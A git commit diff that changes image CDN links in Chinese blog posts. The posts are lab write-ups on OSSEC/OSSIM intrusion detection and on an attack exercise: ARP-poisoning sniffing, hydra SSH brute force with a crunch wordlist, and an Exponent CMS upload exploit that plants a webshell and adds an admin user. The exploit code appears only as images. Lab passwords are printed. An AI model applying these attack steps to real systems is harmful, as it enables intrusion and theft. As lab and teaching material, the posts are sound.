change pic url

This commit is contained in:
gameloader 2022-05-20 16:29:31 +08:00
parent 5d88475cf1
commit 2717927ac8
5 changed files with 302 additions and 302 deletions

View File

@ -16,57 +16,57 @@ author = "Logic"
在C盘tools文件夹下找到OSSEC安装包并安装 在C盘tools文件夹下找到OSSEC安装包并安装
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03238ffYqP.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03238ffYqP.png" >}}
输入OSSEC服务器地址并保存 输入OSSEC服务器地址并保存
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323sDC3iO.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323sDC3iO.png" >}}
使用putty远程登陆OSSIM服务器 使用putty远程登陆OSSIM服务器
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323aa2XZF.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323aa2XZF.png" >}}
启动OSSEC代理管理程序 启动OSSEC代理管理程序
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323ABExuX.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323ABExuX.png" >}}
创建代理并生成密钥 创建代理并生成密钥
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03230MF1k8.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03230MF1k8.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323jz7c0u.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323jz7c0u.png" >}}
将密钥输入OSSEC AGENT管理器窗口保存 将密钥输入OSSEC AGENT管理器窗口保存
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03230qvYU6.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03230qvYU6.png" >}}
重启服务器的OSSEC程序 重启服务器的OSSEC程序
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323KU8Id5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323KU8Id5.png" >}}
查看OSSEC AGENT状态信息 查看OSSEC AGENT状态信息
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323kx2LUt.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323kx2LUt.png" >}}
在服务端查看AGENT状态发现为never connected 在服务端查看AGENT状态发现为never connected
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323X7htCV.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323X7htCV.png" >}}
在windows查看ossec的log信息发现如下 在windows查看ossec的log信息发现如下
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323hE3gfE.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323hE3gfE.png" >}}
可见服务端不知为什么没有回应。服务端查看log信息看不到windows的连接请求。经过排查发现原来是二者的请求队列没有同步。在windows端有如下配置 可见服务端不知为什么没有回应。服务端查看log信息看不到windows的连接请求。经过排查发现原来是二者的请求队列没有同步。在windows端有如下配置
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323Dqxvfu.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323Dqxvfu.png" >}}
在服务端查看/var/ossec/queue/rids/sender_counter可知 在服务端查看/var/ossec/queue/rids/sender_counter可知
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323EWowem.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323EWowem.png" >}}
二者请求队列不同步删掉服务端的sender_counter重启服务端和windows客户端再次查看windows客户端变为active 二者请求队列不同步删掉服务端的sender_counter重启服务端和windows客户端再次查看windows客户端变为active
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323P6U2JF.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323P6U2JF.png" >}}
此时windows端已变为Active(序号为008是删除后重新添加了两次) 此时windows端已变为Active(序号为008是删除后重新添加了两次)
@ -75,41 +75,41 @@ author = "Logic"
登陆到Centos虚拟机使用SSH远程登陆到OSSIM服务器 登陆到Centos虚拟机使用SSH远程登陆到OSSIM服务器
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323JZKzfY.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323JZKzfY.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323lvJMRK.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323lvJMRK.png" >}}
打开OSSEC代理管理器程序新建一个代理生成并添加密钥。 打开OSSEC代理管理器程序新建一个代理生成并添加密钥。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323F9lJCX.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323F9lJCX.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323Xoj1vy.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323Xoj1vy.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323BNpNFz.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323BNpNFz.png" >}}
ossec.conf在/var/ossec/etc目录下查看其内容可以看到 ossec.conf在/var/ossec/etc目录下查看其内容可以看到
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323NmkViT.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323NmkViT.png" >}}
已经存在,故直接保存,重启服务端,启动代理端 已经存在,故直接保存,重启服务端,启动代理端
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323z7s4bL.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323z7s4bL.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323DsWuZU.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323DsWuZU.png" >}}
在服务端查看客户端状态 在服务端查看客户端状态
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323O2dAMj.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323O2dAMj.png" >}}
发现Centos和windows都是never connected状态我们查看ossec的log文件信息。可发现如下错误 发现Centos和windows都是never connected状态我们查看ossec的log文件信息。可发现如下错误
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323C4sjXb.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323C4sjXb.png" >}}
缺少agent.conf文件我们创建这个文件重启客户端。再次在服务端查看客户端状态 缺少agent.conf文件我们创建这个文件重启客户端。再次在服务端查看客户端状态
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323X7t7qh.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323X7t7qh.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323stizxU.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323stizxU.png" >}}
可见状态为Active已经成功上线。 可见状态为Active已经成功上线。
@ -121,85 +121,85 @@ ossec.conf在/var/ossec/etc目录下查看其内容可以看到
打开火狐输入192.168.1.200,默认进入登陆页面,输入用户名和密码登陆成功 打开火狐输入192.168.1.200,默认进入登陆页面,输入用户名和密码登陆成功
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323Mm6Owx.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323Mm6Owx.png" >}}
单击Analysis---&gt;Detection---&gt;HIDS---&gt;Config---&gt;Ossec.conf可以看到OSSIM集成检测平台已经默认监视了日志文件/var/log/auth.log 单击Analysis---&gt;Detection---&gt;HIDS---&gt;Config---&gt;Ossec.conf可以看到OSSIM集成检测平台已经默认监视了日志文件/var/log/auth.log
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323liCdiQ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323liCdiQ.png" >}}
重启OSSIM服务器重启登录成功后进入图形操作界面按Ctrl+Alt+F1切换到命令行界面输入用户名root和密码Simplexue123进行登录再输入命令exit退出登录之后按Ctrl+Alt+F7回到图形界面。 重启OSSIM服务器重启登录成功后进入图形操作界面按Ctrl+Alt+F1切换到命令行界面输入用户名root和密码Simplexue123进行登录再输入命令exit退出登录之后按Ctrl+Alt+F7回到图形界面。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323fioHji.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323fioHji.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323ikk5p4.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323ikk5p4.png" >}}
在windows2012上远程连接到服务器192.168.1.200 在windows2012上远程连接到服务器192.168.1.200
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323cK4xOh.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323cK4xOh.png" >}}
在windows2012的OSSIM Web页面上单击Analysis---&gt; Security Events (SIEM)可以看到Security Events页面中列出了OSSIM系统预设检测规则适用范围内的所有安全事件日志信息可以找到通过putty远程登录时相关的SSH登录记录报警信息。 在windows2012的OSSIM Web页面上单击Analysis---&gt; Security Events (SIEM)可以看到Security Events页面中列出了OSSIM系统预设检测规则适用范围内的所有安全事件日志信息可以找到通过putty远程登录时相关的SSH登录记录报警信息。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03230z7fmO.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03230z7fmO.png" >}}
OSSIM监测到的SShd登录成功的报警日志的signature信息为 OSSIM监测到的SShd登录成功的报警日志的signature信息为
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323lpcx9H.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323lpcx9H.png" >}}
在OSSIM web页面搜索框输入ossec回车进行ossec报警数据过滤 在OSSIM web页面搜索框输入ossec回车进行ossec报警数据过滤
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323rixBKZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323rixBKZ.png" >}}
### 基于SSH的远程非法入侵检测 {#基于ssh的远程非法入侵检测} ### 基于SSH的远程非法入侵检测 {#基于ssh的远程非法入侵检测}
使用putty工具远程登录OSSIM服务器在打开的终端中使用CD命令进入“/var/ossec/rules”目录该目录为OSSEC服务器的检测规则文件存储目录并使用ls命令查看所有的OSSEC服务器端检测规则文件。 使用putty工具远程登录OSSIM服务器在打开的终端中使用CD命令进入“/var/ossec/rules”目录该目录为OSSEC服务器的检测规则文件存储目录并使用ls命令查看所有的OSSEC服务器端检测规则文件。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323cKMDTa.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323cKMDTa.png" >}}
使用vim打开sshd_rules.xml规则文件,找到id为5719的规则将level级别设置为2该规则表示当非法用户存在2次以上远程登录尝试操作且操作时间超过30秒那么将触发非法远程登录尝试报警。修改完sshd_rules.xml文件后保存并退出vim。需注意的是这里的非法用户denied user指的是系统中存在但是被禁止通过ssh远程登陆系统的用户. 使用vim打开sshd_rules.xml规则文件,找到id为5719的规则将level级别设置为2该规则表示当非法用户存在2次以上远程登录尝试操作且操作时间超过30秒那么将触发非法远程登录尝试报警。修改完sshd_rules.xml文件后保存并退出vim。需注意的是这里的非法用户denied user指的是系统中存在但是被禁止通过ssh远程登陆系统的用户.
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03231dakyr.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03231dakyr.png" >}}
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323MkboxN.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323MkboxN.png" >}}
重新启动ossec服务器以使sshd_rules.xml文件配置生效。 重新启动ossec服务器以使sshd_rules.xml文件配置生效。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323xzGQaj.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323xzGQaj.png" >}}
通过putty连接到OSSIM服务器创建一个新用户deny 通过putty连接到OSSIM服务器创建一个新用户deny
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323pXDLem.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323pXDLem.png" >}}
配置ssh拒绝该用户登陆 配置ssh拒绝该用户登陆
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03232ugcxU.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03232ugcxU.png" >}}
使用该用户多次尝试登陆服务器 使用该用户多次尝试登陆服务器
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03236V7pkP.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03236V7pkP.png" >}}
在ossim web端输入ossec进行ossec报警信息筛选可以看到5719规则对应的报警信息 在ossim web端输入ossec进行ossec报警信息筛选可以看到5719规则对应的报警信息
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323qORvol.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323qORvol.png" >}}
### 监视CentOS7 root用户情况 {#监视centos7-root用户情况} ### 监视CentOS7 root用户情况 {#监视centos7-root用户情况}
在OSSIM集成检测平台上设置规则监测CentOS7用户情况。在CentOS7终端查看代理的配置文件可以看到OSSIM集成检测平台默认监控/var/log/secure文件 在OSSIM集成检测平台上设置规则监测CentOS7用户情况。在CentOS7终端查看代理的配置文件可以看到OSSIM集成检测平台默认监控/var/log/secure文件
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323veoYmU.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323veoYmU.png" >}}
重启OSSIM服务器192.168.1.200使用putty登陆到CentOS7 重启OSSIM服务器192.168.1.200使用putty登陆到CentOS7
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323CY8pWR.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323CY8pWR.png" >}}
添加新用户simpleware并将其密码设为Simplexue123 添加新用户simpleware并将其密码设为Simplexue123
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323h5eE1i.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323h5eE1i.png" >}}
回到OSSIM Web页面上进行OSSEC警报数据的过滤可以看到与CentOS7添加新用户相关的OSSEC报警信息。 回到OSSIM Web页面上进行OSSEC警报数据的过滤可以看到与CentOS7添加新用户相关的OSSEC报警信息。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323tU8QGv.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323tU8QGv.png" >}}
### 监控Web服务器的访问日志 {#监控web服务器的访问日志} ### 监控Web服务器的访问日志 {#监控web服务器的访问日志}
@ -213,16 +213,16 @@ OSSIM监测到的SShd登录成功的报警日志的signature信息为
保存文件 保存文件
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323fFZHYH.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323fFZHYH.png" >}}
重新启动OSSEC服务 重新启动OSSEC服务
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323d5FyJC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323d5FyJC.png" >}}
在windows2012IP为192.168.1.5)的火狐浏览器上新打开一个页面,访问 `http://192.168.1.6/dvwa/config` 在windows2012IP为192.168.1.5)的火狐浏览器上新打开一个页面,访问 `http://192.168.1.6/dvwa/config`
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/032379ET2x.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/032379ET2x.png" >}}
回到OSSIM Web页面上进行OSSEC警报数据的过滤可以看到访问禁止目录时的报警信息。 回到OSSIM Web页面上进行OSSEC警报数据的过滤可以看到访问禁止目录时的报警信息。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323GuGVDp.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0323GuGVDp.png" >}}

View File

@ -16,31 +16,31 @@ author = "Logic"
使用nmap扫描192.168.1.0网段的存活主机并探测其主机相关信息。能够探测到192.168.1.3192.168.1.4192.168.1.2(操作机)相关的信息192.168.1.3的主要信息如下 使用nmap扫描192.168.1.0网段的存活主机并探测其主机相关信息。能够探测到192.168.1.3192.168.1.4192.168.1.2(操作机)相关的信息192.168.1.3的主要信息如下
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03309rVuq2.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03309rVuq2.png" >}}
可见开启了21号ftp端口运行的是vsftp3.0.2服务。 可见开启了21号ftp端口运行的是vsftp3.0.2服务。
192.168.1.4的主要信息如下 192.168.1.4的主要信息如下
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330wBYiWo.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330wBYiWo.png" >}}
#### 使用嗅探工具进行嗅探 {#使用嗅探工具进行嗅探} #### 使用嗅探工具进行嗅探 {#使用嗅探工具进行嗅探}
设置ettercap的嗅探模式为嗅探所有监听网卡为默认eth0 设置ettercap的嗅探模式为嗅探所有监听网卡为默认eth0
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330QNuoeg.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330QNuoeg.png" >}}
选择hosts-&gt;scan for hosts扫描网段内的主机并将目标主机192.168.1.3设置为目标 选择hosts-&gt;scan for hosts扫描网段内的主机并将目标主机192.168.1.3设置为目标
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330mT6Hjp.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330mT6Hjp.png" >}}
选择Mitm-&gt;ARP poisoning进行ARP欺骗攻击。选择remote选项以进行双向欺骗。让目标机的数据包能够通过网关。这里要设置/proc/sys/net/ipv4/ip_forward的值为1 选择Mitm-&gt;ARP poisoning进行ARP欺骗攻击。选择remote选项以进行双向欺骗。让目标机的数据包能够通过网关。这里要设置/proc/sys/net/ipv4/ip_forward的值为1
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330UhSAP0.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330UhSAP0.png" >}}
出于安全考虑Linux系统默认是禁止数据包转发的。所谓转发即当主机拥有多于一块的网卡时其中一块收到数据包根据数据包的目的ip地址将数据包发往本机另一块网卡该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。要让Linux系统具有路由转发功能需要配置一个Linux的内核参数net.ipv4.ip_forward。这个参数指定了Linux系统当前对路由转发功能的支持情况其值为0时表示禁止进行IP转发如果是1,则说明IP转发功能已经打开。为了让操作机能嗅探到数据包要打开路由转发功能。等待一段时间后为 出于安全考虑Linux系统默认是禁止数据包转发的。所谓转发即当主机拥有多于一块的网卡时其中一块收到数据包根据数据包的目的ip地址将数据包发往本机另一块网卡该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。要让Linux系统具有路由转发功能需要配置一个Linux的内核参数net.ipv4.ip_forward。这个参数指定了Linux系统当前对路由转发功能的支持情况其值为0时表示禁止进行IP转发如果是1,则说明IP转发功能已经打开。为了让操作机能嗅探到数据包要打开路由转发功能。等待一段时间后为
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330K8fuEq.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330K8fuEq.png" >}}
可见密码为ftp123 可见密码为ftp123
@ -52,11 +52,11 @@ author = "Logic"
使用crunch生成密码字典文件从字符串“hacker +123456”中随机选9个字符进行排列组合。生成格式为hacker@@@的密码字典 使用crunch生成密码字典文件从字符串“hacker +123456”中随机选9个字符进行排列组合。生成格式为hacker@@@的密码字典
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330TYyp9j.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330TYyp9j.png" >}}
查看password.txt文件 查看password.txt文件
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330uCehZ1.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330uCehZ1.png" >}}
可见已成功生成文件 可见已成功生成文件
@ -65,11 +65,11 @@ author = "Logic"
查看hydra的ssh模块是否需要额外的参数 查看hydra的ssh模块是否需要额外的参数
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330oRGjDs.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330oRGjDs.png" >}}
可见不需要额外的参数,开始爆破,使用上一步生成的字典文件,-t 4表示爆破线程数为4-f表示爆破成功一个后停止。 可见不需要额外的参数,开始爆破,使用上一步生成的字典文件,-t 4表示爆破线程数为4-f表示爆破成功一个后停止。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330Hkecjm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330Hkecjm.png" >}}
可见爆破成功密码为hacker123。 可见爆破成功密码为hacker123。
@ -81,11 +81,11 @@ author = "Logic"
使用得到的用户名和密码登陆目标机 使用得到的用户名和密码登陆目标机
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330sNBadY.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330sNBadY.png" >}}
查找1.key文件并查看其中的内容 查找1.key文件并查看其中的内容
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/03303zYeUm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/03303zYeUm.png" >}}
内容为ettercap 内容为ettercap
@ -97,44 +97,44 @@ author = "Logic"
打开网站可以看到该网站使用了exponent CMS内容管理系统搜索可知该内容管理系统在2.3.8版本以下存在文件上传漏洞。查看该漏洞的利用方式可以写一个python脚本来利用该漏洞。上传一句话木马的部分如下 打开网站可以看到该网站使用了exponent CMS内容管理系统搜索可知该内容管理系统在2.3.8版本以下存在文件上传漏洞。查看该漏洞的利用方式可以写一个python脚本来利用该漏洞。上传一句话木马的部分如下
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330wBW6hZ.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330wBW6hZ.png" >}}
访问 `www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar` 然后右键查看网页源代码找到rel这个rel就是大致的时间戳。 访问 `www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar` 然后右键查看网页源代码找到rel这个rel就是大致的时间戳。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330RfnERy.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330RfnERy.png" >}}
我们可以通过正则表达式获取到上传文件后的rel获取rel的部分如下 我们可以通过正则表达式获取到上传文件后的rel获取rel的部分如下
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330Wozq3y.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330Wozq3y.png" >}}
然后通过遍历尝试找到真正的文件访问路径,该部分如下: 然后通过遍历尝试找到真正的文件访问路径,该部分如下:
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/033063L8nc.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/033063L8nc.png" >}}
继续通过获得的文件访问路径来进行添加用户,将用户添加到管理组,并打印出机器的端口信息,该部分如下: 继续通过获得的文件访问路径来进行添加用户,将用户添加到管理组,并打印出机器的端口信息,该部分如下:
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330CCdd0X.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330CCdd0X.png" >}}
整体执行流程放入main函数中 整体执行流程放入main函数中
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330cmW0g7.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330cmW0g7.png" >}}
建立一个一句话木马文件命名为try.php 建立一个一句话木马文件命名为try.php
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330lXOfw3.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330lXOfw3.png" >}}
将脚本和木马文件放入同一个文件夹下,执行脚本 将脚本和木马文件放入同一个文件夹下,执行脚本
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330jKcWm4.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330jKcWm4.png" >}}
可见执行成功且远程连接的端口为35155连接主机 可见执行成功且远程连接的端口为35155连接主机
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330Jug7x3.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330Jug7x3.png" >}}
连接成功。设置目标机C:\\2.key文件的可读权限并查看该文件的具体内容。 连接成功。设置目标机C:\\2.key文件的可读权限并查看该文件的具体内容。
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330zvZbN4.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330zvZbN4.png" >}}
内容为 内容为
{{< figure src="https://fastly.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330TLBqGm.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0330TLBqGm.png" >}}

View File

@ -13,9 +13,9 @@ author = "Logic"
双击桌面Xshell5图标在弹出的界面登陆主机192.168.1.11和192.168.2.11这两台主机. 双击桌面Xshell5图标在弹出的界面登陆主机192.168.1.11和192.168.2.11这两台主机.
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405TxkNea.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405TxkNea.png" >}}
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04050wlYRk.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04050wlYRk.png" >}}
分别修改主机名: 分别修改主机名:
@ -24,15 +24,15 @@ hostnamectl set-hostname vpn1
hostnamectl set-hostname vpn2 hostnamectl set-hostname vpn2
``` ```
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/04050crxmG.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/04050crxmG.png" >}}
重新登陆两台主机后如下图 重新登陆两台主机后如下图
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405oi9VQ5.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405oi9VQ5.png" >}}
vpn1和vpn2主机分别加载gre内核模块并检查 vpn1和vpn2主机分别加载gre内核模块并检查
{{< figure src="https://testingcf.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405xgQFvC.png" >}} {{< figure src="https://gcore.jsdelivr.net/gh/game-loader/picbase@master/uPic/0405xgQFvC.png" >}}
